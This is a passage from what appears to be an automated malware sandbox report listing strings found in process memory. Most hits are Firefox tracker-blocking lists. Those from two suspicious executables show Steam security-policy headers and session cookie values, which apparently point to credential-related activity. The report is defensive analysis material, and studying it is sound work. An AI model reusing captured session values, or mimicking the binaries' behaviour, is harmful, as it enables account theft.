Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]], equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/( equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/( equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php://.adsafeprotected.com//unit/https://ads.stickyadstv.com/firefox-etp://.adsafeprotected.com//imp/://trends.google.com/trends/embedresource://gre/modules/AddonManager.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2862333210.0000014D5D4E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2861316139.0000014D5D3E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D58467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2829848680.0000014D55A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D557C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D557D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001076000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=c8853dfe3c8e6e6c444d7ca2; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 09:02:50 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=d3a440cbd1c048b8f45ee09b; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35741Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 09:02:15 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control,! equals www.youtube.com (Youtube)
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=e2301badb3e7bec0a38093a5; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 09:03:04 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2172112855.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: LRPC-534f73005f5f759413w.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D55903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D55903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]][{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.face
